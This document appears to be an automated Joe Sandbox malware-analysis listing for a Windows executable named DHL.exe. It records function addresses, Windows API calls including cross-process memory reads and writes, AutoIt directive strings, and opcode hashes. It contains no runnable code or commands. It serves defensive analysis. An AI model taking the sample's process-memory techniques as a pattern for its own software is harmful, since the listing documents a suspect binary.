Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: a738b0dcfd35f522d10a3f10eec39a2e8d6d9395e28926e997099311cc9ae0c7
Instruction ID: 030b6635df73f56c2ac320f72ec73bb57eb5abcc65685216f3dbbeedd44a8837
Opcode Fuzzy Hash: a738b0dcfd35f522d10a3f10eec39a2e8d6d9395e28926e997099311cc9ae0c7
Instruction Fuzzy Hash: 56917D71A04219EFCB14EF58E991EBDB7B1FF45304F148069F8066B292DB71AE41CB51

Function 00A02716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00A021D0,?,?,00000034,00000800,?,00000034), ref: 00A0B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00A02760

Part of subcall function 00A0B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00A021FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00A0B3F8

Part of subcall function 00A0B32A: GetWindowThreadProcessId.USER32(?,?), ref: 00A0B355
Part of subcall function 00A0B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00A02194,00000034,?,?,00001004,00000000,00000000), ref: 00A0B365
Part of subcall function 00A0B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00A02194,00000034,?,?,00001004,00000000,00000000), ref: 00A0B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00A027CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00A0281A

Strings

@, xrefs: 00A02832

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 1fc249acea4da01aef632581538f4edc57156e682a7b177b019fcb079ec33459
Instruction ID: 956ddbffe3b70bd0a5db16cf3e642efc0172b739872d43375e5707eb05268641
Opcode Fuzzy Hash: 1fc249acea4da01aef632581538f4edc57156e682a7b177b019fcb079ec33459
Instruction Fuzzy Hash: E8413B7690021CAFDB10DFA4DD46BEEBBB8AF09300F108095FA55B7181DB716E45CBA1

Function 009D172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DHL.exe,00000104), ref: 009D1769
_free.LIBCMT ref: 009D1834
_free.LIBCMT ref: 009D183E

Strings

C:\Users\user\Desktop\DHL.exe, xrefs: 009D1760, 009D1767, 009D1796, 009D17CE

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\DHL.exe
API String ID: 2506810119-1530727579
Opcode ID: 7bdb8edf2d3902e9bb6e15fa8e47ee2bd50f42c23671186feb98b5947e763d09
Instruction ID: 0ff1c4b8854db5f77014f41562b23c140505f09acc616ad4fd3a8afc814e2b6d
Opcode Fuzzy Hash: 7bdb8edf2d3902e9bb6e15fa8e47ee2bd50f42c23671186feb98b5947e763d09
Instruction Fuzzy Hash: B7315E76A80258BBDB21DB99DC85E9EBBFCEB95310B148167F804D7321D6708E81DB90

Function 00A0C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00A0C306
DeleteMenu.USER32(?,00000007,00000000), ref: 00A0C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00A71990,00D965C0), ref: 00A0C395

Strings

0, xrefs: 00A0C2DF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 7b0f7bc74a1935438c8f1969f955a3d1432b40950031e76025d0aeb2a7a9d57c
Instruction ID: 22e6226735c862f5d0d45892d4ea439c1e5ba036879840512e62bd32f7d03ce5
Opcode Fuzzy Hash: 7b0f7bc74a1935438c8f1969f955a3d1432b40950031e76025d0aeb2a7a9d57c
Instruction Fuzzy Hash: 8C418D712143059FDB20DF25E884B5ABBE4AF85320F148B1DF9A59B2D1D730A904CB62

Function 00A34416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00A3CC08,00000000,?,?,?,?), ref: 00A344AA
GetWindowLongW.USER32 ref: 00A344C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A344D7

Strings

SysTreeView32, xrefs: 00A3447C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 9b9216c7d077ad221c14d9852800c3930ef6ac89d5bf7ab4105e44da77ddb6f1
Instruction ID: 7aa0b98e65ab126d8184fddd336255a3b23c4b82b737f6b26eb1b99bf8119fff
Opcode Fuzzy Hash: 9b9216c7d077ad221c14d9852800c3930ef6ac89d5bf7ab4105e44da77ddb6f1
Instruction Fuzzy Hash: F0319A32210605AFDB209F78DC46BEA7BA9EB49334F208725F979A21E1D770EC519B50

Function 00A2304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A2335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00A23077,?,?), ref: 00A23378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A2307A
_wcslen.LIBCMT ref: 00A2309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00A23106

Strings

255.255.255.255, xrefs: 00A23095, 00A2309A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 3137d8357e0aff7de3c20bdeca9ef0e46e356942f5d3c4be49cd0bd53ea10ded
Instruction ID: c6b53737a23c3490b37c3009a204bb2941ac37c66ce114c77e55c8237a4b5bd5
Opcode Fuzzy Hash: 3137d8357e0aff7de3c20bdeca9ef0e46e356942f5d3c4be49cd0bd53ea10ded
Instruction Fuzzy Hash: C631C1362042219FCF10CF6CD985EA977A0EF56318F248169E9158B392CB39DE41C760

Function 00A33EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00A33F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00A33F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A33F78

Strings

SysMonthCal32, xrefs: 00A33F0B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 2d52a27027940c1ccd35ebab0b545c20611717c013f31b2f609c9d51d82024d3
Instruction ID: acffb15bc8519911832c5109de8236cf5bcbe25c00a0b8713fb168b72bae2401
Opcode Fuzzy Hash: 2d52a27027940c1ccd35ebab0b545c20611717c013f31b2f609c9d51d82024d3
Instruction Fuzzy Hash: BB21BC33600219BFDF21CF90DC46FEA3BB9EF88724F110214FA15AB1D0D6B5A8918B90

Function 00A34653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00A34705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00A34713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00A3471A

Strings

msctls_updown32, xrefs: 00A34684

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: d3cbec2fe70636ed7996862dfb63456526507d5d8545955c59e762f358d4d1e8
Instruction ID: cd44a381dd7452bd261ee4432e4ba586446cc05d66639d3f3f1c1f1dba8d4626
Opcode Fuzzy Hash: d3cbec2fe70636ed7996862dfb63456526507d5d8545955c59e762f358d4d1e8
Instruction Fuzzy Hash: B0215EB5600208AFEB11DF68DC81DA737ADEB8A3A4B040059FA049B251DB74FC52CA60

Function 00A095AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A0961D

Strings

#OnAutoItStartRegister, xrefs: 00A095F3
#notrayicon, xrefs: 00A095B7
#requireadmin, xrefs: 00A095D9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 44279700399df39edf5ae34e3dfbbb9de91849d555c9a13987f98a63d5529b5b
Instruction ID: 34a41e4c3ed5698c328cc05459d4dbf83e5ea26d0858fea7cd0aa411740b54e4
Opcode Fuzzy Hash: 44279700399df39edf5ae34e3dfbbb9de91849d555c9a13987f98a63d5529b5b
Instruction Fuzzy Hash: 1A215B72A045156AD331BB25AC03FB7B3E8AF91310F50442AF949970C3EB52AD45C2D6

Function 00A337B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00A33840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00A33850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00A33876

Strings

Listbox, xrefs: 00A3380F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 2cf53d65aee9f6c5523b2e9ec0a2d7c055f22881e06bbaff20edcb9a54440e13
Instruction ID: 100a19af3575e713339707f978febcd0764a0a8744b5d30956aff3ec4d680c0f
Opcode Fuzzy Hash: 2cf53d65aee9f6c5523b2e9ec0a2d7c055f22881e06bbaff20edcb9a54440e13
Instruction Fuzzy Hash: BC219F72614218BBEF21CF95DC85FBB376EEF89764F118124F9049B190CA75DC5287A0

Function 00A149F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A14A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00A14A5C
SetErrorMode.KERNEL32(00000000,?,?,00A3CC08), ref: 00A14AD0

Strings

%lu, xrefs: 00A14A6F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: e79aefcfb8b3e627672c1a0c69bbab262c3ad86886f9897bbe0b2c7feee52b18
Instruction ID: 61f55d90850828ceebbe1355922a21aee458739f6dc42824f84a5cab1bd25d87
Opcode Fuzzy Hash: e79aefcfb8b3e627672c1a0c69bbab262c3ad86886f9897bbe0b2c7feee52b18
Instruction Fuzzy Hash: 07319375A00108AFDB10DF98C881EAABBF8FF49314F148094F509DB252D771ED45CBA1

Function 00A341EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00A3424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00A34264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00A34271

Strings

msctls_trackbar32, xrefs: 00A34226

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a623dfe4f16b9c54ca3f54b8e8e9038ace9c541df30518d3e6b9f99943aca717
Instruction ID: c5cf33e9d88ea0cc2267f2beb504a0c888b2d3d9f9c28105d334c4fbe5da924f
Opcode Fuzzy Hash: a623dfe4f16b9c54ca3f54b8e8e9038ace9c541df30518d3e6b9f99943aca717
Instruction Fuzzy Hash: 6511C671240248BFEF209F69CC46FEB3BACEF99B64F110614FA55E60A0D671EC519B50

Function 00A02F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

Part of subcall function 00A02DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00A02DC5
Part of subcall function 00A02DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A02DD6
Part of subcall function 00A02DA7: GetCurrentThreadId.KERNEL32 ref: 00A02DDD
Part of subcall function 00A02DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00A02DE4

GetFocus.USER32 ref: 00A02F78

Part of subcall function 00A02DEE: GetParent.USER32(00000000), ref: 00A02DF9

GetClassNameW.USER32(?,?,00000100), ref: 00A02FC3
EnumChildWindows.USER32(?,00A0303B), ref: 00A02FEB

Strings

%s%d, xrefs: 00A02FFF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 460d0f41779b0fc0a208610d5a35257760769fc2b04131787b3afc556df4da9e
Instruction ID: f035b9e6ede07a8b5b0dfb9aae152ad13ee15052985d2fe60f9da398683ab2ad
Opcode Fuzzy Hash: 460d0f41779b0fc0a208610d5a35257760769fc2b04131787b3afc556df4da9e
Instruction Fuzzy Hash: 5E11A2726002096BCF15BFB0AD9AFED776AAF84314F049075B909AB192DF309A458B70

Function 00A35882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00A358C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00A358EE
DrawMenuBar.USER32(?), ref: 00A358FD

Strings

0, xrefs: 00A3588F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: a6869f522d82aa5bb70308687813c1f2ff2114ed2094a2803e73bb95e8f3b66c
Instruction ID: a872f296a3e3d8d31224a4b2db0f91581eb51c73f9415c4a45e4ae3e8252784b
Opcode Fuzzy Hash: a6869f522d82aa5bb70308687813c1f2ff2114ed2094a2803e73bb95e8f3b66c
Instruction Fuzzy Hash: BD016932900218EFDB219F65DC45BEEBBB5FB85360F1080A9F849E6151DB308A94EF21

Function 009FD3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 009FD3BF
FreeLibrary.KERNEL32 ref: 009FD3E5

Strings

X64, xrefs: 009FD2A8
GetSystemWow64DirectoryW, xrefs: 009FD3B9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 4692f45794c50cc1a52ad0fd9945526b76797a783e0219237232a3059addc98d
Instruction ID: e11880a7633f3cc0fb58d04a1d5b7904d8871579336c15dbcfffc329b65628cb
Opcode Fuzzy Hash: 4692f45794c50cc1a52ad0fd9945526b76797a783e0219237232a3059addc98d
Instruction Fuzzy Hash: F8F055318077289BE73097208C489BD732ABF00B20B50CA49F326F5098E7B4C840EBC3

Function 00A0007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cad787da2e9dd8943c59a43af7a1b709dd09c55d7ae7ab8fc72afafe512fa00c
Instruction ID: afc4480c20c54bdc36b731e2c45d4260f9408e4d1778a8d16185e1188c3eea31
Opcode Fuzzy Hash: cad787da2e9dd8943c59a43af7a1b709dd09c55d7ae7ab8fc72afafe512fa00c
Instruction Fuzzy Hash: 09C13975A0020AAFDB15CFA8D894FAEB7B5FF48304F118598E505EB291D731EE41DB90

Function 009D3E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009D3F0B
__alldvrm.LIBCMT ref: 009D410C
__alldvrm.LIBCMT ref: 009D412E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 33038cf06460334401a512373d31b5f9a1c29c259da2d0f0339d7f9394041c15
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 2AA12771D843869FEB25CF18C8917AEBBE9EF61350F18C16EE5859B381C2388D81C751

Function 00A2342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A23459
CoUninitialize.OLE32 ref: 00A23463
VariantInit.OLEAUT32(?), ref: 00A2346E
VariantClear.OLEAUT32(?), ref: 00A2371B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
